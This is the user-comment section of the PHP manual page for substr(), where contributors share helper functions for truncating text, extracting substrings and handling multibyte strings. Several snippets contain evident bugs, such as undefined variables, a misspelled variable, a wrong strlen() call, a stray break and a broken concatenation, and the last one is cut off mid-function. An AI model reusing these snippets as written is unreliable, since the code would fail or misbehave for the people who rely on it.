[EDIT BY danbrown AT php DOT net: This is a bugfix rewrite of a function originally written by "Alexander Peev".]
bill at eupeople dot net 30-Oct-2008 04:52
hi, really basic function to take blob with full http url's and turn then into "more info" links, handy for page layout etc ;)

<?php
function urltolink($data){

    while (strpos($wdata, "http")) {

    $op=strpos($wdata, "http");
    $rdata=substr($wdata, 0, $op);
    $ndata=substr($wdata, $op, strlen($wdata)-$op);

    $cp=strpos($ndata, "\n");
    $link=substr($ndata, 0, $cp);
    $oc=$op+$cp;
    $wdata=substr($wdata, $oc, strlen($wdata)-$oc);

    $edata=$edata."$rdata <a href=\"$link\">more info</a><br />";
    }
    return $edata;
}
?>
mar dot czapla at gmail dot com 24-Oct-2008 02:31
Here we have gr8 function which simply convert ip address to a number using substr with negative offset.
You can need it if you want to compare some IP addresses converted to a numbers.
For example when using ip2country, or eliminating same range of ip addresses from your website :D

<?php

function ip2no($val)
{
    list($A,$B,$C,$D)    =    explode(".",$val);
    return
        substr("000".$A,-3).
        substr("000".$B,-3).
        substr("000".$C,-3).
        substr("000".$D,-3);
}

$min        =    ip2no("10.11.1.0");
$max        =    ip2no("111.11.1.0");
$visitor    =    ip2no("105.1.20.200");

if($min<$visitor && $visitor<$max)
    {    echo 'Welcome !';    }
else
    {    echo 'Get out of here !';    }

?>
mr.davin 29-Sep-2008 10:01
Simple use of substr to determine possession:

<?php
function possessive ($word) {
    return  $word.(substr($word, -1) == 's' ? "'" : "'s");
}

// Davis => Davis'
// Paul => Paul's
?>
NULL_byte 19-Sep-2008 03:21
<?php

function insert_substr($str, $pos, $substr) {
    $part1 = substr($str, 0, -$pos);
    $part2 = substr($str, -$pos);
    return $part1.$substr.$part2;
}

?>
baldaris69 at yahoo dot com 29-Aug-2008 12:57
***Caution newbie***
To extract a file Extension this fuction could be useful.

<?php
$file_extension = substr($filename , strrpos($filename , '. ') +1);
?>

Suppose your file name is Baldaris.jpeg

strrpos will return the last dot position in the string 9 so

so the compiler will execute substr($filename , 10)

$file_extension will have value jpeg

pretty cool...

Cheer's

Baldaris
post [at] jannik - zappe [dot] de 05-Aug-2008 07:59
Just a little function to cut a string by the wanted amount. Works in both directions.

<?php
function cutString($str, $amount = 1, $dir = "right")
{
  if(($n = strlen($str)) > 0)
  {
    if($dir == "right")
    {
      $start = 0;
      $end = $n-$amount;
    } elseif( $dir == "left") {
      $start = $amount;
      $end = $n;
    }

    return substr($str, $start, $end);
  } else return false;
}
?>

Enjoy ;)
jamesvanboxtel at wsu dot edu 31-Jul-2008 02:17
Here is a quick function to get the substring of a string up to and including the last occurrence of $needle

<?php
function substrtruncate($string, $needle)
{
    return substr($string, 0, strrpos($string, $needle)+1);
}

$current_dir = substrtruncate($_SERVER['SCRIPT_NAME'], '/');
?>
Anonymous 29-Jul-2008 11:18
I wrote this simple function to limit the middle characters of a string to a specified length.

<?php
$input = "hello world"
echo(limitchrmid($imput,10)) // hel ... rld

//limit chars middle
function limitchrmid($value,$lenght){
    if (strlen($value) >= $lenght ){
        $lenght_max = ($lenght/2)-3;
        $start = strlen($value)- $lenght_max;
        $limited = substr($value,0,$lenght_max);
        $limited.= " ... ";
        $limited.= substr($value,$start,$lenght_max);
    }
    else{
        $limited = $value;
    }
    return $limited;
}
?>
svihel 27-Jun-2008 01:09
joao dot martins at plako dot net
26-Mar-2008 09:14

ben at enemy dot dk
10-Feb-2008 05:48

Updated function. The previous one will return empty value if the $string has no letter spaces. This is usefull if some of your strings have only one word.

<?php
function cutText($string, $setlength) {
    $length = $setlength;
    if($length<strlen($string)){
        while (($string{$length} != " ") AND ($length > 0)) {
            $length--;
        }
        if ($length == 0) return substr($string, 0, $setlength);
        else return substr($string, 0, $length);
    }else return $string;
}
?>
serzh at nm dot ru 03-Jun-2008 03:13
easy and quick way to limit length of a text by not cutting full words:

textLimit('some words', 7) is 'some...'

<?php
function textLimit($string, $length, $replacer = '...')
{
  if(strlen($string) > $length)
  return (preg_match('/^(.*)\W.*$/', substr($string, 0, $length+1), $matches) ? $matches[1] : substr($string, 0, $length)) . $replacer;

  return $string;
}
?>
Anonymous 17-Mar-2008 03:53
Split a string to an array of strings specified by an array of lengths:

<?php
function split_by_lengths($inString, $arrayLengths)
{
    $output = array();
    foreach ($arrayLengths as $oneLength)
    {
        $output[] = substr($inString, 0, $oneLength);
        $inString = substr($inString, $oneLength);
    }
    return ($output);
}
?>
split_by_lengths('teststringtestteststring', array(4,6,4,4,6)) returns:
array('test','string','test','test','string')

Don't use it on user input without some error handling!
kriskra at gmail dot com 29-Feb-2008 05:21
The javascript charAt equivalent in php of felipe has a little bug. It's necessary to compare the type (implicit) aswell or the function returns a wrong result:
<?php
function charAt($str,$pos) {
    return (substr($str,$pos,1) !== false) ? substr($str,$pos,1) : -1;
}
?>
Anonymous 22-Feb-2008 05:12
I've used the between, after, before, etc functions that biohazard put together for years and they work great.  I've also added to it a new function that I use a lot and thought others might like it as well.  It uses his before/after functions so they are required to use it.

<?php
$example_html = "<p>test1 Test2</p><title>hi there</title><p>Testing</p>";
$paragraph_text = multi_between('<p>', '</p>', $example_html);

//Prints an arry of:
//Array ( [1] => test1 Test2 [2] => Testing )
print_r($paragraph_text);

function multi_between($this, $that, $inthat)
{
   $counter = 0;
   while ($inthat)
   {
      $counter++;
      $elements[$counter] = before($that, $inthat);
      $elements[$counter] = after($this, $elements[$counter]);
      $inthat = after($that, $inthat);
   }
   return $elements;
}
//Get the help functions from biohazard's post below.
?>
highstrike at gmail dot com 05-Jan-2008 08:47
Because i didnt see a function that would cut a phrase from a text (article or whatever) no matter where, front/middle/end and add ... + keeping the words intact, i wrote this:

Usage:
- The parameter $value if array will need the whole text and the portion you want to start from, a string. EG: cuttext(array($text, $string), 20). If the string is "have" and is near the beginning of the text, the function will cut like "I have a car ...", if the string is in the middle somewhere it will cut like "... if you want to have your own car ..." and if its somewhere near the end it will cut like "... and you will have one."
- The $length parameter is self explanatory.

Note: if you have just a string "127hh43h2h52312453jfks2" and you want to cut it, just use the function like so: cuttext($string, 10) and it will cut it like "127hh43h2h..."

<?php

////////////////////////////////////////////////////////
// Function:         cuttext
// Description: Cuts a string and adds ...

function cuttext($value, $length)
{
    if(is_array($value)) list($string, $match_to) = $value;
    else { $string = $value; $match_to = $value{0}; }

    $match_start = stristr($string, $match_to);
    $match_compute = strlen($string) - strlen($match_start);

    if (strlen($string) > $length)
    {
        if ($match_compute < ($length - strlen($match_to)))
        {
            $pre_string = substr($string, 0, $length);
            $pos_end = strrpos($pre_string, " ");
            if($pos_end === false) $string = $pre_string."...";
            else $string = substr($pre_string, 0, $pos_end)."...";
        }
        else if ($match_compute > (strlen($string) - ($length - strlen($match_to))))
        {
            $pre_string = substr($string, (strlen($string) - ($length - strlen($match_to))));
            $pos_start = strpos($pre_string, " ");
            $string = "...".substr($pre_string, $pos_start);
            if($pos_start === false) $string = "...".$pre_string;
            else $string = "...".substr($pre_string, $pos_start);
        }
        else
        {
            $pre_string = substr($string, ($match_compute - round(($length / 3))), $length);
            $pos_start = strpos($pre_string, " "); $pos_end = strrpos($pre_string, " ");
            $string = "...".substr($pre_string, $pos_start, $pos_end)."...";
            if($pos_start === false && $pos_end === false) $string = "...".$pre_string."...";
            else $string = "...".substr($pre_string, $pos_start, $pos_end)."...";
        }

        $match_start = stristr($string, $match_to);
        $match_compute = strlen($string) - strlen($match_start);
    }

    return $string;
}

?>
morgangalpin att gmail dotty com 24-Sep-2007 10:55
Adding the $limit parameter introduced a bug that was not present in the original. If $limit is small or negative, a string with a length exceeding the limit can be returned. The $limit parameter should be checked. It takes slightly more processing, but it is dwarfed in comparison to the use of strlen().

<?php
  function short_name($str, $limit)
  {
    // Make sure a small or negative limit doesn't cause a negative length for substr().
    if ($limit < 3)
    {
      $limit = 3;
    }

    // Now truncate the string if it is over the limit.
    if (strlen($str) > $limit)
    {
      return substr($str, 0, $limit - 3) . '...';
    }
    else
    {
      return $str;
    }
  }
?>
corphi 12-Sep-2007 04:06
I prefer
<?php
function short_name($str, $limit)
{
    return strlen($str) > $limit ? substr($str, 0, $limit - 3) . '...' : $str;
}
?>

Now, every returned string has a maximum length of $limit chars (instead of $limit + 3).
Petez 31-Aug-2007 03:56
I wanted to work out the fastest way to get the first few characters from a string, so I ran the following experiment to compare substr, direct string access and strstr:

<?php
/* substr access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    $opening = substr($string,0,11);
    if ($opening == 'Lorem ipsum'){
        true;
    }else{
        false;
    }
}
$endtime1 = endTimer();

/* direct access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    if ($string[0] == 'L' && $string[1] == 'o' && $string[2] == 'r' && $string[3] == 'e' && $string[4] == 'm' && $string[5] == ' ' && $string[6] == 'i' && $string[7] == 'p' && $string[8] == 's' && $string[9] == 'u' && $string[10] == 'm'){
        true;
    }else{
        false;
    }
}
$endtime2 = endTimer();

/* strstr access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    $opening = strstr($string,'Lorem ipsum');
    if ($opening == true){
        true;
    }else{
        false;
    }
}
$endtime3 = endTimer();

echo $endtime1."\r\n".$endtime2."\r\n".$endtime3;
?>

The string was 6 paragraphs of Lorem Ipsum, and I was trying match the first two words. The experiment was run 3 times and averaged. The results were:

(substr) 3.24
(direct access) 11.49
(strstr) 4.96

(With standard deviations 0.01, 0.02 and 0.04)

THEREFORE substr is the fastest of the three methods for getting the first few letters of a string.
ein at anti-logic dot com 30-Jul-2007 03:06
If you need to divide a large string (binary data for example) into segments, a much quicker way to do it is to use streams and the php://memory stream wrapper.

For example, if you have a large string in memory, write it to a memory stream like
<?php
$segment_length = 8192; // this is how long our peice will be
$fp = fopen("php://memory", 'r+'); // create a handle to a memory stream resource
fputs($fp, $payload); // write data to the stream
$total_length=ftell($fp); // get the length of the stream
$payload_chunk = fread ( $fp, $segment_length  );
?>

Working with large data sets, mine was 21MB, increased the speed several factors.
Robert Chapin 26-Jun-2007 02:40
All the references to "curly braces" on this page appear to be obsolete.

According to http://us.php.net/manual/en/language.types.string.php

"Using square array-brackets is preferred because the {braces} style is deprecated as of PHP 6."

Robert Chapin
Chapin Information Services
lanny at freemail dot hu 26-Jun-2007 03:31
Starting from version 5.2.3 if $start is negative and larger then the length of the string, the result is an empty string, while in earlier versions the result was the string itself!

substr ("abcdef", -1000);

result in 5.2.0
'abcdef'

result in 5.2.3
''

This is a small inconsistency, one of those things that makes the life of a PHP programmer like hell.
Antoine 10-May-2007 09:08
The functions submitted below are a waste of time and memory. To convert a string to an integer or a trimmed float, use the built in conversion instead of parsing the string, e.g :

<?php
$x = "27.2400";
echo (float)$x; // 27.24
echo (int)$x; // 27
?>
siavashg at gmail dot com 06-Mar-2007 01:51
A further addition to Jean-Felix function to extract data between delimeters.

The previous function wouldn't return the correct data if the delimeters used where long than one char. Instead the following function should do the job.

<?php
function extractBetweenDelimeters($inputstr,$delimeterLeft,$delimeterRight) {
   $posLeft  = stripos($inputstr,$delimeterLeft)+strlen($delimeterLeft);
   $posRight = stripos($inputstr,$delimeterRight,$posLeft+1);
   return  substr($inputstr,$posLeft,$posRight-$posLeft);
}
?>
ijavier aka(not imatech) igjav 14-Feb-2007 02:20
<?php
/*
    An advanced substr but without breaking words in the middle.
    Comes in 3 flavours, one gets up to length chars as a maximum, the other with length chars as a minimum up to the next word, and the other considers removing final dots, commas and etcteteras for the sake of beauty (hahaha).
   This functions were posted by me some years ago, in the middle of the ages I had to use them in some corporations incorporated, with the luck to find them in some php not up to date mirrors. These mirrors are rarely being more not up to date till the end of the world... Well, may be am I the only person that finds usef not t bre word in th middl?

Than! (ks)

This is the calling syntax:

    snippet(phrase,[max length],[phrase tail])
    snippetgreedy(phrase,[max length before next space],[phrase tail])

*/

function snippet($text,$length=64,$tail="...") {
    $text = trim($text);
    $txtl = strlen($text);
    if($txtl > $length) {
        for($i=1;$text[$length-$i]!=" ";$i++) {
            if($i == $length) {
                return substr($text,0,$length) . $tail;
            }
        }
        $text = substr($text,0,$length-$i+1) . $tail;
    }
    return $text;
}

// It behaves greedy, gets length characters ore goes for more

function snippetgreedy($text,$length=64,$tail="...") {
    $text = trim($text);
    if(strlen($text) > $length) {
        for($i=0;$text[$length+$i]!=" ";$i++) {
            if(!$text[$length+$i]) {
                return $text;
            }
        }
        $text = substr($text,0,$length+$i) . $tail;
    }
    return $text;
}

// The same as the snippet but removing latest low punctuation chars,
// if they exist (dots and commas). It performs a later suffixal trim of spaces

function snippetwop($text,$length=64,$tail="...") {
    $text = trim($text);
    $txtl = strlen($text);
    if($txtl > $length) {
        for($i=1;$text[$length-$i]!=" ";$i++) {
            if($i == $length) {
                return substr($text,0,$length) . $tail;
            }
        }
        for(;$text[$length-$i]=="," || $text[$length-$i]=="." || $text[$length-$i]==" ";$i++) {;}
        $text = substr($text,0,$length-$i+1) . $tail;
    }
    return $text;
}

/*
echo(snippet("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea") . "<br>");
echo(snippetwop("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea") . "<br>");
echo(snippetgreedy("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea"));
*/
?>
persisteus at web dot de 13-Feb-2007 07:45
Here is also a nice (but a bit slow) alternative for colorizing an true color image:

<?php
// $colorize = hexadecimal code in String format, f.e. "10ffa2"
// $im = the image that have to be computed

$red = hexdec(substr($colorize, 0, 2));
$green = hexdec(substr($colorize, 2, 2));
$blue = hexdec(substr($colorize, 4, 2));

$lum_c = floor(($red*299 + $green*587 + $blue*144) / 1000);

for ($i = 0; $i < $lum_c; $i++)
{
  $r = $red * $i / $lum_c;
  $g = $green * $i / $lum_c;
  $b = $blue * $i / $lum_c;
  $pal[$i] = $r<<16 | $g<<8 | $b;
}
$pal[$lum_c] = $red<<16 | $green<<8 | $blue;
for ($i = $lum_c+1; $i < 255; $i++)
{
  $r = $red + (255-$red) * ($i-$lum_c) / (255-$lum_c);
  $g = $green + (255-$green) * ($i-$lum_c) / (255-$lum_c);
  $b = $blue + (255-$blue) * ($i-$lum_c) / (255-$lum_c);
  $pal[$i] = $r<<16 | $g<<8 | $b;
}

$sy = imagesy($im);
$sx = imagesx($im);
for($y=0;$y<$sy;$y++)
{
  for($x=0;$x<$sx;$x++)
  {
    $rgba = imagecolorat($im, $x, $y);
    $a = ($rgba & 0x7F000000) >> 24;
    $r = ($rgba & 0xFF0000) >> 16;
    $g = ($rgba & 0x00FF00) >> 8;
    $b = ($rgba & 0x0000FF);

    $lum = floor(($r*299+$g*587+$b*144)/1000);

    imagesetpixel($im, $x, $y, $a<<24 | $pal[$lum]);
  }
}
?>
egingell at sisna dot com 19-Oct-2006 03:19
<?php

/**
 * string substrpos(string $str, mixed $start [[, mixed $end], boolean $ignore_case])
 *
 * If $start is a string, substrpos will return the string from the position of the first occuring $start to $end
 *
 * If $end is a string, substrpos will return the string from $start to the position of the first occuring $end
 *
 * If the first character in (string) $start or (string) $end is '-', the last occuring string will be used.
 *
 * If $ignore_case is true, substrpos will not care about the case.
 * If $ignore_case is false (or anything that is not (boolean) true, the function will be case sensitive.
 *        Both of the above: only applies if either $start or $end are strings.
 *
 * echo substrpos('This is a string with 0123456789 numbers in it.', 5, '5');
 *        // Prints 'is a string with 01234';
 *
 * echo substrpos('This is a string with 0123456789 numbers in it.', '5', 5);
 *        // Prints '56789'
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-string')
 *        // Prints 's is a string with 0123456789 numbers in it and two '
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-STRING', true)
 *        // Prints 's is a string with 0123456789 numbers in it and two '
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-STRING', false)
 *        // Prints 's is a string with 0123456789 numbers in it and two strings.'
 *
 * Warnings:
 *        Since $start and $end both take either a string or an integer:
 *            If the character or string you are searching $str for is a number, pass it as a quoted string.
 *        If $end is (integer) 0, an empty string will be returned.
 *        Since this function takes negative strings ('-search_string'):
 *            If the string your using in $start or $end is a '-' or begins with a '-' escape it with a '\'.
 *            This only applies to the *first* character of $start or $end.
 */

// Define stripos() if not defined (PHP < 5).
if (!is_callable("stripos")) {
    function stripos($str, $needle, $offset = 0) {
        return strpos(strtolower($str), strtolower($needle), $offset);
    }
}

function substrpos($str, $start, $end = false, $ignore_case = false) {
    // Use variable functions
    if ($ignore_case === true) {
        $strpos = 'stripos'; // stripos() is included above in case it's not defined (PHP < 5).
    } else {
        $strpos = 'strpos';
    }

    // If end is false, set it to the length of $str
    if ($end === false) {
        $end = strlen($str);
    }

    // If $start is a string do what's needed to make it an integer position for substr().
    if (is_string($start)) {
        // If $start begins with '-' start processing until there's no more matches and use the last one found.
        if ($start{0} == '-') {
            // Strip off the '-'
            $start = substr($start, 1);
            $found = false;
            $pos = 0;
            while(($curr_pos = $strpos($str, $start, $pos)) !== false) {
                $found = true;
                $pos = $curr_pos + 1;
            }
            if ($found === false) {
                $pos = false;
            } else {
                $pos -= 1;
            }
        } else {
            // If $start begins with '\-', strip off the '\'.
            if ($start{0} . $start{1} == '\-') {
                $start = substr($start, 1);
            }
            $pos = $strpos($str, $start);
        }
        $start = $pos !== false ? $pos : 0;
    }

    // Chop the string from $start to strlen($str).
    $str = substr($str, $start);

    // If $end is a string, do exactly what was done to $start, above.
    if (is_string($end)) {
        if ($end{0} == '-') {
            $end = substr($end, 1);
            $found = false;
            $pos = 0;
            while(($curr_pos = strpos($str, $end, $pos)) !== false) {
                $found = true;
                $pos = $curr_pos + 1;
            }
            if ($found === false) {
                $pos = false;
            } else {
                $pos -= 1;
            }
        } else {
            if ($end{0} . $end{1} == '\-') {
                $end = substr($end, 1);
            }
            $pos = $strpos($str, $end);
        }
        $end = $pos !== false ? $pos : strlen($str);
    }

    // Since $str has already been chopped at $start, we can pass 0 as the new $start for substr()
    return substr($str, 0, $end);
}

?>
feedback at realitymedias dot com 15-Oct-2006 05:47
This function can replace substr() in some situations you don't want to cut right in the middle of a word. strtrim will cut between words when it is possible choosing the closest possible final string len to return. the maxoverflow parameter lets you choose how many characters can overflow past the maxlen parameter.

<?php

function strtrim($str, $maxlen=100, $elli=NULL, $maxoverflow=15) {
    global $CONF;

    if (strlen($str) > $maxlen) {

        if ($CONF["BODY_TRIM_METHOD_STRLEN"]) {
            return substr($str, 0, $maxlen);
        }

        $output = NULL;
        $body = explode(" ", $str);
        $body_count = count($body);

        $i=0;

        do {
            $output .= $body[$i]." ";
            $thisLen = strlen($output);
            $cycle = ($thisLen < $maxlen && $i < $body_count-1 && ($thisLen+strlen($body[$i+1])) < $maxlen+$maxoverflow?true:false);
            $i++;
        } while ($cycle);
        return $output.$elli;
    }
    else return $str;
}

?>
joseph dot morphy at gmail dot com 16-Aug-2006 09:31
<?php
//function to get a substring between between two other substrings

function substring_between($haystack,$start,$end) {
    if (strpos($haystack,$start) === false || strpos($haystack,$end) === false) {
        return false;
    } else {
        $start_position = strpos($haystack,$start)+strlen($start);
        $end_position = strpos($haystack,$end);
        return substr($haystack,$start_position,$end_position-$start_position);
    }
}

//use of this function to get the title of an html document

$handle = fopen($filename, 'r');
$contents = fread($handle, filesize($filename));
fclose($handle);

$contents = htmlspecialchars($contents);
$title = substring_between($contents,'&lt;title&gt;','&lt;/title&gt;');

?>
shadzar 13-Feb-2006 05:21
a function to read in a file and split the string into its individual characters and display them as images for a webcounter.

can be used anywhere you need to split a string where a seperator is not present and versions where the str_split() function is also not present.

<?php
//start counter
$filename = "counter_file.txt";
$pathtoiamges = "http://www.yoursite.com/counter/";//where is your iamges
$extension = ".gif";//what filetype are your images in
//--------------do not change below this line-------------------
$counter=file_get_contents($filename);
$counter++;
$count=$counter;
$current=0;
$visit=array("");//array to hold individual characters
//split string into individual characters
//same as str_split($str) in PHP5
while (strlen($count)>0)
    {
    $current++;
    $visit[$current]=substr($count,0,1);//get current digit
    $count=substr($count,1,strlen($count));//reduce number string to remove last stored digit
    }
//display images of digits
foreach ($visit as $vis)
    {
    if ($vis!=""){echo "<img src=\"". $pathtoimages . $vis . .$extension . "\">";}
    }
$list = fopen($filename, "w+");
fwrite($list, $counter);
fclose($list);
//end counter
?>

requires a file to store the counter and 10 images to represent the digits (0-9) if used as a counter.
wishie at gmail dot com 03-Feb-2006 06:37
Here's a function I wrote that'll insert a string into another string with an offset.

<?php
// $insertstring - the string you want to insert
// $intostring - the string you want to insert it into
// $offset - the offset

function str_insert($insertstring, $intostring, $offset) {
    $part1 = substr($intostring, 0, $offset);
    $part2 = substr($intostring, $offset);

    $part1 = $part1 . $insertstring;
    $whole = $part1 . $part2;
    return $whole;
}
?>
Bradley from California 10-Jan-2006 01:34
Add on to (a function originally written by) "Matias from Argentina": str_format_number function.

Just added handling of $String shorter then $Format by adding a side to start the fill and a string length to the while loop.

<?php
function str_format_number($String, $Format, $Start = 'left'){
    //If we want to fill from right to left incase string is shorter then format
    if ($Start == 'right') {
        $String = strrev($String);
        $Format = strrev($Format);
    }
    if($Format == '') return $String;
    if($String == '') return $String;
    $Result = '';
    $FormatPos = 0;
    $StringPos = 0;
    while ((strlen($Format) - 1) >= $FormatPos && strlen($String) > $StringPos) {
        //If its a number => stores it
        if (is_numeric(substr($Format, $FormatPos, 1))) {
            $Result .= substr($String, $StringPos, 1);
            $StringPos++;
            //If it is not a number => stores the caracter
        } else {
            $Result .= substr($Format, $FormatPos, 1);
        }
        //Next caracter at the mask.
        $FormatPos++;
    }
    if ($Start == 'right') $Result = strrev($Result);
    return $Result;
}
?>
eallik at hotmail dot com 04-Jan-2006 07:22
Be careful when comparing the return value of substr to FALSE. FALSE may be returned even if the output is a valid string.

substr("0", 0); // equals "0", comparision with FALSE evaluates to true, because "0" == 0 == FALSE
mr at bbp dot biz 14-Dec-2005 02:54
Here's a little addon to the html_substr function posted by fox.

Now it counts only chars outside of tags, and doesn't cut words.

Note: this will only work in xhtml strict/transitional due to the checking of "/>" tags and the requirement of quotations in every value of a tag. It's also only been tested with the presence of br, img, and a tags, but it should work with the presence of any tag.

<?php
function html_substr($posttext, $minimum_length = 200, $length_offset = 20, $cut_words = FALSE, $dots = TRUE) {

    // $minimum_length:
    // The approximate length you want the concatenated text to be

    // $length_offset:
    // The variation in how long the text can be in this example text
    // length will be between 200 and 200-20=180 characters and the
    // character where the last tag ends

    // Reset tag counter & quote checker
    $tag_counter = 0;
    $quotes_on = FALSE;
    // Check if the text is too long
    if (strlen($posttext) > $minimum_length) {
        // Reset the tag_counter and pass through (part of) the entire text
        $c = 0;
        for ($i = 0; $i < strlen($posttext); $i++) {
            // Load the current character and the next one
            // if the string has not arrived at the last character
            $current_char = substr($posttext,$i,1);
            if ($i < strlen($posttext) - 1) {
                $next_char = substr($posttext,$i + 1,1);
            }
            else {
                $next_char = "";
            }
            // First check if quotes are on
            if (!$quotes_on) {
                // Check if it's a tag
                // On a "<" add 3 if it's an opening tag (like <a href...)
                // or add only 1 if it's an ending tag (like </a>)
                if ($current_char == '<') {
                    if ($next_char == '/') {
                        $tag_counter += 1;
                    }
                    else {
                        $tag_counter += 3;
                    }
                }
                // Slash signifies an ending (like </a> or ... />)
                // substract 2
                if ($current_char == '/' && $tag_counter <> 0) $tag_counter -= 2;
                // On a ">" substract 1
                if ($current_char == '>') $tag_counter -= 1;
                // If quotes are encountered, start ignoring the tags
                // (for directory slashes)
                if ($current_char == '"') $quotes_on = TRUE;
            }
            else {
                // IF quotes are encountered again, turn it back off
                if ($current_char == '"') $quotes_on = FALSE;
            }

            // Count only the chars outside html tags
            if($tag_counter == 2 || $tag_counter == 0){
                $c++;
            }

            // Check if the counter has reached the minimum length yet,
            // then wait for the tag_counter to become 0, and chop the string there
            if ($c > $minimum_length - $length_offset && $tag_counter == 0 && ($next_char == ' ' || $cut_words == TRUE)) {
                $posttext = substr($posttext,0,$i + 1);
                if($dots){
                   $posttext .= '...';
                }
                return $posttext;
            }
        }
    }
    return $posttext;
}

?>
felipe at spdata dot com dot br 29-Nov-2005 04:48
JavaScript charAt PHP equivalent

<?php
    function charAt($str, $pos)
    {
        return (substr($str, $pos, 1)) ? substr($str, $pos, 1) : -1;
    }
?>

If found, return the charecter at the specified position, otherwise return -1
frank at jkelloggs dot dk 25-Jul-2005 02:37
Regarding the utf8_substr function from lmak: The pattern '/./u' doesn't match newline characters. This means that the substring from 0 to the total length of the string will miss the number of characters in the end matching the number of newlines in the string. To fix this one can add the s modifier (PCRE_DOTALL) in the pattern:

<?php
function utf8_substr($str,$start)
{
   preg_match_all("/./su", $str, $ar);

   if(func_num_args() >= 3) {
       $end = func_get_arg(2);
       return join("",array_slice($ar[0],$start,$end));
   } else {
       return join("",array_slice($ar[0],$start));
   }
}
?>
julius at infoguiden dot no 04-Jul-2005 11:23
This function shortens the string down to maximum lengt defined in $max_lengt. If the string is longer the function finds the last occurance of a space and adds three dots at the end to illustrate that it is more text. If the string is without spaces it stops at exacly max lengt, also adding three dots. If the string is shorter than max lengt it returns the string as it is. This is useful for previewing long strings.

<?php
function str_stop($string, $max_length){
    if (strlen($string) > $max_length){
        $string = substr($string, 0, $max_length);
        $pos = strrpos($string, " ");
        if($pos === false) {
               return substr($string, 0, $max_length)."...";
           }
        return substr($string, 0, $pos)."...";
    }else{
        return $string;
    }
}
?>
php_net at thomas dot trella dot de 29-Jun-2005 08:07
I needed to cut a string after x chars at a  html converted utf-8 text (for example Japanese text like &#23344;&#35632;&#24368;&#33072;&#27440;&#32591;).
The problem was, the different length of the signs, so I wrote the following function to handle that.
Perhaps it helps.

<?php

function html_cutstr ($str, $len)
{
    if (!preg_match('/\&#[0-9]*;.*/i', $str))
    {
        $rVal = strlen($str, $len);
        break;
    }

    $chars = 0;
    $start = 0;
    for($i=0; $i < strlen($str); $i++)
    {
        if ($chars >= $len)
        break;

        $str_tmp = substr($str, $start, $i-$start);
        if (preg_match('/\&#[0-9]*;.*/i', $str_tmp))
        {
            $chars++;
            $start = $i;
        }
    }
    $rVal = substr($str, 0, $start);
    if (strlen($str) > $start)
    $rVal .= " ...";
    return $rVal;
}
?>
ivanhoe011 at gmail dot com 07-Jun-2005 08:31
If you need just a single character from the string you don't need to use substr(), just use curly braces notation:

<?php
    // both lines will output the 3rd character
    echo substr($my_string, 2, 1);
    echo $my_string{2};
?>

curly braces syntax is faster and more readable IMHO..
rob NOSPAM at clancentric dot net 07-Jun-2005 03:43
I have developed a function with a similar outcome to jay's

Checks if the last character is or isnt a space. (does it the normal way if it is)
It explodes the string into an array of seperate works, the effect is... it chops off anything after and including the last space.

<?php
function limit_string($string, $charlimit)
{
    if(substr($string,$charlimit-1,1) != ' ')
    {
        $string = substr($string,'0',$charlimit);
        $array = explode(' ',$string);
        array_pop($array);
        $new_string = implode(' ',$array);

        return $new_string.'...';
    }
    else
    {
        return substr($string,'0',$charlimit-1).'...';
    }
}
?>
bleakwind at msn dot com 25-May-2005 10:11
This returns the portion of str specified by the start and length parameters..
It can performs multi-byte safe on number of characters. like mb_strcut() ...

Note:
1.Use it like this bite_str(string str, int start, int length [,byte of on string]);
2.First character's position is 0. Second character position is 1, and so on...
3.$byte is one character length of your encoding, For example: utf-8 is "3", gb2312 and big5 is "2"...you can use the function strlen() get it...
Enjoy it :) ...

--- Bleakwind
QQ:940641
http://www.weaverdream.com

PS:I'm sorry my english is too poor... :(

<?php
// String intercept By Bleakwind
// utf-8:$byte=3 | gb2312:$byte=2 | big5:$byte=2
function bite_str($string, $start, $len, $byte=3)
{
    $str     = "";
    $count   = 0;
    $str_len = strlen($string);
    for ($i=0; $i<$str_len; $i++) {
        if (($count+1-$start)>$len) {
            $str  .= "...";
            break;
        } elseif ((ord(substr($string,$i,1)) <= 128) && ($count < $start)) {
            $count++;
        } elseif ((ord(substr($string,$i,1)) > 128) && ($count < $start)) {
            $count = $count+2;
            $i     = $i+$byte-1;
        } elseif ((ord(substr($string,$i,1)) <= 128) && ($count >= $start)) {
            $str  .= substr($string,$i,1);
            $count++;
        } elseif ((ord(substr($string,$i,1)) > 128) && ($count >= $start)) {
            $str  .= substr($string,$i,$byte);
            $count = $count+2;
            $i     = $i+$byte-1;
        }
    }
    return $str;
}

// Test
$str = "123456¶à×Ö½Ú123456×Ö·û´®123456½ØÈ¡º¯Êý";
for($i=0;$i<30;$i++){
    echo "<br>".bite_str($str,$i,20);
}
?>
fanfatal at fanfatal dot pl 16-May-2005 11:45
Hmm ... this is a script I wrote, whitch is very similar to substr, but it isn't takes html and bbcode for counting and it takes portion of string and show avoided (html & bbcode) tags too ;]
Specially usefull for show part of serach result included html and bbcode tags

<?php

/**
 * string csubstr ( string string, int start [, int length] )
 *
 * @author FanFataL
 * @param string string
 * @param int start
 * @param [int length]
 * @return string
 */
function csubstr($string, $start, $length=false) {
    $pattern = '/(\[\w+[^\]]*?\]|\[\/\w+\]|<\w+[^>]*?>|<\/\w+>)/i';
    $clean = preg_replace($pattern, chr(1), $string);
    if(!$length)
        $str = substr($clean, $start);
    else {
        $str = substr($clean, $start, $length);
        $str = substr($clean, $start, $length + substr_count($str, chr(1)));
    }
    $pattern = str_replace(chr(1),'(.*?)',preg_quote($str));
    if(preg_match('/'.$pattern.'/is', $string, $matched))
        return $matched[0];
    return $string;
}

?>

Using this is similar to simple substr.

Greatings ;]
...
woutermb at gmail dot com 21-Mar-2005 11:19
Well this is a script I wrote, what it does is chop up long words with malicious meaning into several parts. This way, a chat in a table will not get stretched anymore.

<?php

function text($string,$limit=20,$chop=10){

$text = explode(" ",$string);
while(list($key, $value) = each($text)){
    $length = strlen($value);
    if($length >=20){
        for($i=0;$i<=$length;$i+=10){
            $new .= substr($value, $i, 10);
            $new .= " ";
        }
         $post .= $new;
    }
    elseif($length <=15){
        $post .= $value;
    }
    $post .= " ";
}
